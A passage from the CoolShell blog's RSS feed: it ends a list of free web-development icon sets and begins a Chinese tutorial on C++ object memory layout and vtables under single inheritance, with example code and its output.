id=\"more-3\"></span></p>\n<p><a  href=\"http://sweetie.sublink.ca\" target=\"_blank\">Sweetie &#8211; Cute and clear icons</a></p>\n<p><a href=\"http://sweetie.sublink.ca\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon3.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.famfamfam.com/lab/icons/mini\" target=\"_blank\">famfamfam &#8211; Mini Icons</a></p>\n<p><a href=\"http://www.famfamfam.com/lab/icons/mini\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon4.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.monofactor.com/free-vector-icon-set-1-25-icons\" target=\"_blank\">Vector Icon Set</a></p>\n<p><a href=\"http://www.monofactor.com/free-vector-icon-set-1-25-icons\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon5.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://lopagof.deviantart.com/art/facebook-ui-icons-vector-90099876\" target=\"_blank\">Facebook UI Icon Set</a></p>\n<p><a href=\"http://lopagof.deviantart.com/art/facebook-ui-icons-vector-90099876\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon6.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.pinvoke.com\" target=\"_blank\">Fugue Icons</a></p>\n<p><a href=\"http://www.pinvoke.com\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon7.png\" alt=\"Development Icons\" /></a></p>\n<h3><a href=\"http://paularmstrongdesigns.com/projects/bwpx-icns\" target=\"_blank\">bwpx Icons</a></h3>\n<p><a href=\"http://paularmstrongdesigns.com/projects/bwpx-icns\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon1.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://somerandomdude.com/projects/sanscons\" target=\"_blank\">Sanscons Icon Set</a></p>\n<p><a href=\"http://somerandomdude.com/projects/sanscons\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon2.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.pinvoke.com\" target=\"_blank\">Diagona Icons</a></p>\n<p><a href=\"http://www.pinvoke.com\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon7a.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://min.frexy.com/articles/category/milky\" target=\"_blank\">Milky Icon Set</a></p>\n<p><a href=\"http://min.frexy.com/articles/category/milky\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon8.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://pixelresort.com/icon\" target=\"_blank\">Pixelicious Icon Set</a></p>\n<p><a href=\"http://pixelresort.com/icon\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon9.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.ineversay.com/my-works/xiao-icon.html\" target=\"_blank\">Xiao Icon Set</a></p>\n<p><a href=\"http://www.ineversay.com/my-works/xiao-icon.html\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon10.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.ndesign-studio.com/resources/mini-pixel-icons\" target=\"_blank\">Mini Pixel Icons</a></p>\n<p><a href=\"http://www.ndesign-studio.com/resources/mini-pixel-icons\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon11.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://wefunction.com/2008/07/function-free-icon-set\" target=\"_blank\">Function Icon Set</a></p>\n<p><a href=\"http://wefunction.com/2008/07/function-free-icon-set\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon12.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.aspneticons.com\" target=\"_blank\">ASP.NET Icon Set</a></p>\n<p><a href=\"http://www.aspneticons.com\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon13.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://sone-pl.deviantart.com/art/Light-Icons-74036005\" target=\"_blank\">Light Icon Set</a></p>\n<p><a href=\"http://sone-pl.deviantart.com/art/Light-Icons-74036005\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon14.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.gosquared.com/liquidicity/archives/122\" target=\"_blank\">Liquidicity Icon Set</a></p>\n<p><a href=\"http://www.gosquared.com/liquidicity/archives/122\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon15.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.behance.net/Gallery/iconset-sketchd-up/158535\" target=\"_blank\">“sketch’d up!” Icon Set</a></p>\n<p><a href=\"http://www.behance.net/Gallery/iconset-sketchd-up/158535\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon16.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.ganato.com/free_icons/free_icons.php\" target=\"_blank\">Ganato &#8211; Psd Icons</a></p>\n<p><a href=\"http://www.ganato.com/free_icons/free_icons.php\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon17.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://code.google.com/p/twotiny\" target=\"_blank\">Two Tone Icon Set</a></p>\n<p><a href=\"http://code.google.com/p/twotiny\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon18.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://code.google.com/p/twotiny\" target=\"_blank\">TwoTiny Icon Set</a></p>\n<p><a href=\"http://code.google.com/p/twotiny\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon19.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.oweb2.com/free-web20-icons-pack\" target=\"_blank\">Web2.0 Icons Pack</a></p>\n<p><a href=\"http://www.oweb2.com/free-web20-icons-pack\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon20.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://valkyre.deviantart.com/art/Proxal-Icon-Set-v2-17102198\" target=\"_blank\">Proxal Icon Set v2</a></p>\n<p><a href=\"http://valkyre.deviantart.com/art/Proxal-Icon-Set-v2-17102198\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon21.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.brandspankingnew.net/archive/2006/12/hohoho.html\" target=\"_blank\">Brand Spanking New Icon Set</a></p>\n<p><a href=\"http://www.brandspankingnew.net/archive/2006/12/hohoho.html\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon22.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.perfect-icons.com/stock-icons/perfect-blog-icons.htm\" target=\"_blank\">Perfect Blog Icons</a></p>\n<p><a href=\"http://www.perfect-icons.com/stock-icons/perfect-blog-icons.htm\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon23.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://yingjunjiu.deviantart.com/art/Web-Application-Icons-Set-77183527\" target=\"_blank\">Web Application Icons</a></p>\n<p><a href=\"http://yingjunjiu.deviantart.com/art/Web-Application-Icons-Set-77183527\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon24.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://kurumizawa.deviantart.com/art/Irokez-cms-icon-set-79949798\" target=\"_blank\">Irokez CMS Icon Set</a></p>\n<p><a href=\"http://kurumizawa.deviantart.com/art/Irokez-cms-icon-set-79949798\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon25.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://icojoy.com/articles/28\" target=\"_blank\">BacktoPixel Icon Set</a></p>\n<p><a href=\"http://icojoy.com/articles/28\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon26.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.randomjabber.com/static/sizcons\" target=\"_blank\">Sizcons &#8211; Random Jabber</a></p>\n<p><a href=\"http://www.randomjabber.com/static/sizcons\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon27.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.famfamfam.com/lab/icons/silk\" target=\"_blank\">famfamfam &#8211; Silk Icons</a></p>\n<p><a href=\"http://www.famfamfam.com/lab/icons/silk\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon28.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.exploding-boy.com/2005/09/13/explodingboy-pixel-icons\" target=\"_blank\">ExplodingBoy Pixel Icons</a></p>\n<p><a href=\"http://www.exploding-boy.com/2005/09/13/explodingboy-pixel-icons\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon29.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://e-lusion.com/design/greyscale\" target=\"_blank\">Greyscale Icon Development</a></p>\n<p><a href=\"http://e-lusion.com/design/greyscale\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon30.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_Computer_File_icons.htm\" target=\"_blank\">File icons and Computer Icon Set</a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_Computer_File_icons.htm\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon31.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_arrow_icons.htm\" target=\"_blank\">Small Arrow Icon Set</a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_arrow_icons.htm\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon32.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://sryo.deviantart.com/art/minimal-icons-1-8-6-18808605\" target=\"_blank\">Minimal Icons</a></p>\n<p><a href=\"http://sryo.deviantart.com/art/minimal-icons-1-8-6-18808605\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon33.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://bs-markup.de/iconsets\" target=\"_blank\">Markup Iconsets</a></p>\n<p><a href=\"http://bs-markup.de/iconsets\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon34.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\">GraphicPUSH Blog Icons</a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon35.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\">Pixeley Icon Set</a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon36.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\">Drunkey Love</a></p>\n<p><a href=\"http://www.websiteicons.net/index.php?p=icons&amp;id=1\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon37.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://plainbeta.com/downloads/pixelated-a-lightweight-iconkit\" target=\"_blank\">PIXELATED Icon Set</a></p>\n<p><a href=\"http://plainbeta.com/downloads/pixelated-a-lightweight-iconkit\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon38.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://kyo-tux.deviantart.com/art/Weby-Icons-111008305\" target=\"_blank\">Weby Icons</a></p>\n<p><a href=\"http://kyo-tux.deviantart.com/art/Weby-Icons-111008305\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon39.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://indiandevs.com/devs/webdev-icon-pack-released\" target=\"_blank\">WebDev Icon Pack</a></p>\n<p><a href=\"http://indiandevs.com/devs/webdev-icon-pack-released\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon40.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://dryicons.com/free-icons/preview/stickers-icon-set\" target=\"_blank\">Stickers Icon Set</a></p>\n<p><a href=\"http://dryicons.com/free-icons/preview/stickers-icon-set\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon41.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://dryicons.com/free-icons/preview/wysiwyg-classic\" target=\"_blank\">WYSIWYG Classic Icon Set</a></p>\n<p><a href=\"http://dryicons.com/free-icons/preview/wysiwyg-classic\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon42.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.tenbytwenty.com/products/icon-sets/vaga\" target=\"_blank\">Vaga Icon Set</a></p>\n<p><a href=\"http://www.tenbytwenty.com/products/icon-sets/vaga\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon43.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://xlphs.deviantart.com/art/WIP-Web-Iconset-68480659\" target=\"_blank\">WIP &#8211; Web Iconset</a></p>\n<p><a href=\"http://xlphs.deviantart.com/art/WIP-Web-Iconset-68480659\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon44.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://icojoy.com/articles/19\" target=\"_blank\">Free web development icons #1</a></p>\n<p><a href=\"http://icojoy.com/articles/19\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon45.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://icojoy.com/articles/24\" target=\"_blank\">Free web development icons #2</a></p>\n<p><a href=\"http://icojoy.com/articles/24\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon46.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://icojoy.com/articles/25\" target=\"_blank\">Free web development icons #3</a></p>\n<p><a href=\"http://icojoy.com/articles/25\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon47.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_black_icons.htm\" target=\"_blank\">Black Icon Set</a></p>\n<p><a href=\"http://www.freeiconsweb.com/16x16_black_icons.htm\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon48.png\" alt=\"Development Icons\" /></a></p>\n<p><a href=\"http://openclipart.org\" target=\"_blank\">Open Clip Art Library</a></p>\n<p><a href=\"http://openclipart.org\" target=\"_blank\"><img decoding=\"async\" src=\"http://speckyboy.com/wp-content/uploads/2009/02/webicon49.png\" alt=\"Development Icons\" /></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" alt=\"DHH 谈混合移动应用开发\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12225.html\" class=\"wp_rp_title\">DHH 谈混合移动应用开发</a></li><li ><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/12/html6-150x150.jpeg\" alt=\"HTML6 展望\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12206.html\" class=\"wp_rp_title\">HTML6 展望</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm-150x150.gif\" alt=\"State Threads 回调终结者\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12012.html\" class=\"wp_rp_title\">State Threads 回调终结者</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3.html\">50套Web开发图标</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>C++ 对象的内存布局</title>\n\t\t<link>https://coolshell.cn/articles/12176.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/12176.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 15 Oct 2008 01:32:16 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=12176</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>07年12月，我写了一篇《C++虚函数表解析》的文章，引起了大家的兴趣。有很多朋友对我的文章留了言，有鼓励我的，有批评我的，还有很多问问题的。我在这里一并对大家...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/12176.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/12176.html\">C++ 对象的内存布局</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>07年12月，我写了一篇《<a title=\"C++ 虚函数表解析\" href=\"https://coolshell.cn/articles/12165.html\" target=\"_blank\">C++虚函数表解析</a>》的文章，引起了大家的兴趣。有很多朋友对我的文章留了言，有鼓励我的，有批评我的，还有很多问问题的。我在这里一并对大家的留言表示感谢。这也是我为什么再写一篇续言的原因。因为，在上一篇文章中，我用了的示例都是非常简单的，主要是为了说明一些机理上的问题，也是为了图一些表达上方便和简单。不想，这篇文章成为了打开C++对象模型内存布局的一个引子，引发了大家对C++对象的更深层次的讨论。当然，我之前的文章还有很多方面没有涉及，从我个人感觉下来，在谈论虚函数表里，至少有以下这些内容没有涉及：</p>\n<p style=\"padding-left: 30px;\">1）有成员变量的情况。</p>\n<p style=\"padding-left: 30px;\">2）有重复继承的情况。</p>\n<p style=\"padding-left: 30px;\">3）有虚拟继承的情况。</p>\n<p style=\"padding-left: 30px;\">4）有钻石型虚拟继承的情况。</p>\n<p> 这些都是我本篇文章需要向大家说明的东西。所以，这篇文章将会是《<a href=\"https://coolshell.cn/articles/12165.html\" target=\"_blank\">C++虚函数表解析</a>》的一个续篇，也是一篇高级进阶的文章。我希望大家在读这篇文章之前对C++有一定的基础和了解，并能先读我的上一篇文章。因为这篇文章的深度可能会比较深，而且会比较杂乱，我希望你在读本篇文章时不会有大脑思维紊乱导致大脑死机的情况。;-)</p>\n<h4>对象的影响因素</h4>\n<p>简而言之，我们一个类可能会有如下的影响因素：</p>\n<p style=\"padding-left: 30px;\">1）成员变量</p>\n<p style=\"padding-left: 30px;\">2）虚函数（产生虚函数表）</p>\n<p style=\"padding-left: 30px;\">3）单一继承（只继承于一个类）</p>\n<p style=\"padding-left: 30px;\">4）多重继承（继承多个类）</p>\n<p style=\"padding-left: 30px;\">5）重复继承（继承的多个父类中其父类有相同的超类）</p>\n<p style=\"padding-left: 30px;\">6）虚拟继承（使用virtual方式继承，为了保证继承后父类的内存布局只会存在一份）</p>\n<p>上述的东西通常是C++这门语言在语义方面对对象内部的影响因素，当然，还会有编译器的影响（比如优化），还有字节对齐的影响。在这里我们都不讨论，我们只讨论C++语言上的影响。</p>\n<p>本篇文章着重讨论下述几个情况下的C++对象的内存布局情况。</p>\n<p><span id=\"more-12176\"></span></p>\n<p style=\"padding-left: 30px;\">1）<strong>单一的一般继承</strong>（带成员变量、虚函数、虚函数覆盖）</p>\n<p style=\"padding-left: 30px;\">2）<strong>单一的虚拟继承</strong>（带成员变量、虚函数、虚函数覆盖）</p>\n<p style=\"padding-left: 30px;\">3）<strong>多重继承</strong>（带成员变量、虚函数、虚函数覆盖）</p>\n<p style=\"padding-left: 30px;\">4）<strong>重复多重继承</strong>（带成员变量、虚函数、虚函数覆盖）</p>\n<p style=\"padding-left: 30px;\">5）<strong>钻石型的虚拟多重继承</strong>（带成员变量、虚函数、虚函数覆盖）</p>\n<p>我们的目标就是，让事情越来越复杂。</p>\n<h4>知识复习</h4>\n<p>我们简单地复习一下，我们可以通过对象的地址来取得虚函数表的地址，如：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">typedef void(*Fun)(void);\n\nBase b;\n\nFun pFun = NULL;\n\ncout &lt;&lt; &quot;虚函数表地址：&quot; &lt;&lt; (int*)(&amp;b) &lt;&lt; endl;\ncout &lt;&lt; &quot;虚函数表 — 第一个函数地址：&quot; &lt;&lt; (int*)*(int*)(&amp;b) &lt;&lt; endl;\n\n// Invoke the first virtual function\npFun = (Fun)*((int*)*(int*)(&amp;b));\npFun();</pre>\n<p>我们同样可以用这种方式来取得整个对象实例的内存布局。因为这些东西在内存中都是连续分布的，我们只需要使用适当的地址偏移量，我们就可以获得整个内存对象的布局。</p>\n<p>本篇文章中的例程或内存布局主要使用如下编译器和系统：</p>\n<p style=\"padding-left: 30px;\"><strong>1）Windows XP 和 VC++ 2003</strong><br />\n<strong> 2）Cygwin 和 G++ 3.4.4</strong></p>\n<h4>单一的一般继承</h4>\n<p>下面，我们假设有如下所示的一个继承关系：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12178\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/011.jpg\" alt=\"01\" width=\"177\" height=\"366\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/011.jpg 177w, https://coolshell.cn/wp-content/uploads/2014/12/011-145x300.jpg 145w, https://coolshell.cn/wp-content/uploads/2014/12/011-131x270.jpg 131w\" sizes=\"(max-width: 177px) 100vw, 177px\" /></p>\n<p>请注意，在这个继承关系中，父类，子类，孙子类都有自己的一个成员变量。而了类覆盖了父类的f()方法，孙子类覆盖了子类的g_child()及其超类的f()。</p>\n<p>我们的源程序如下所示：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">class Parent {\npublic:\n    int iparent;\n    Parent ():iparent (10) {}\n    virtual void f() { cout &lt;&lt; &quot; Parent::f()&quot; &lt;&lt; endl; }\n    virtual void g() { cout &lt;&lt; &quot; Parent::g()&quot; &lt;&lt; endl; }\n    virtual void h() { cout &lt;&lt; &quot; Parent::h()&quot; &lt;&lt; endl; }\n\n};\n\nclass Child : public Parent {\npublic:\n    int ichild;\n    Child():ichild(100) {}\n    virtual void f() { cout &lt;&lt; &quot;Child::f()&quot; &lt;&lt; endl; }\n    virtual void g_child() { cout &lt;&lt; &quot;Child::g_child()&quot; &lt;&lt; endl; }\n    virtual void h_child() { cout &lt;&lt; &quot;Child::h_child()&quot; &lt;&lt; endl; }\n};\n\nclass GrandChild : public Child{\npublic:\n    int igrandchild;\n    GrandChild():igrandchild(1000) {}\n    virtual void f() { cout &lt;&lt; &quot;GrandChild::f()&quot; &lt;&lt; endl; }\n    virtual void g_child() { cout &lt;&lt; &quot;GrandChild::g_child()&quot; &lt;&lt; endl; }\n    virtual void h_grandchild() { cout &lt;&lt; &quot;GrandChild::h_grandchild()&quot; &lt;&lt; endl; }\n};</pre>\n<p>我们使用以下程序作为测试程序：（下面程序中，我使用了一个int** pVtab 来作为遍历对象内存布局的指针，这样，我就可以方便地像使用数组一样来遍历所有的成员包括其虚函数表了，在后面的程序中，我也是用这样的方法的，请不必感到奇怪，）</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">typedef void(*Fun)(void);\n\nGrandChild gc;\n\nint** pVtab = (int**)&amp;gc;\n\ncout &lt;&lt; &quot;[0] GrandChild::_vptr-&gt;&quot; &lt;&lt; endl;\nfor (int i=0; (Fun)pVtab[0][i]!=NULL; i++){\n    pFun = (Fun)pVtab[0][i];\n    cout &lt;&lt; &quot;    [&quot;&lt;&lt;i&lt;&lt;&quot;] &quot;;\n    pFun();\n}\ncout &lt;&lt; &quot;[1] Parent.iparent = &quot; &lt;&lt; (int)pVtab[1] &lt;&lt; endl;\ncout &lt;&lt; &quot;[2] Child.ichild = &quot; &lt;&lt; (int)pVtab[2] &lt;&lt; endl;\ncout &lt;&lt; &quot;[3] GrandChild.igrandchild = &quot; &lt;&lt; (int)pVtab[3] &lt;&lt; endl;</pre>\n<p>其运行结果如下所示：（在VC++ 2003和G++ 3.4.4下）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">[0] GrandChild::_vptr-&gt;\n&lt;pre&gt;    [0] GrandChild::f()\n    [1] Parent::g()\n    [2] Parent::h()\n    [3] GrandChild::g_child()\n    [4] Child::h1()\n    [5] GrandChild::h_grandchild()\n[1] Parent.iparent = 10\n[2] Child.ichild = 100\n[3] GrandChild.igrandchild = 1000</pre>\n<p>使用图片表示如下：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-12180\" src=\"https://coolshell.cn/wp-content/uploads/2014/12/021.jpg\" alt=\"02\" width=\"500\" height=\"237\" srcset=\"https://coolshell.cn/wp-content/uploads/2014/12/021.jpg 500w, https://coolshell.cn/wp-content/uploads/2014/12/021-300x142.jpg 300w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></p>\n<p>可见以下几个方面：</p>\n<p style=\"padding-left: 30px;\">1）虚函数表在最前面的位置。</p>\n<p style=\"padding-left: 30px;\">2）成员变量根据其继承和声明顺序依次放在后面。</p>\n<p style=\"padding-left: 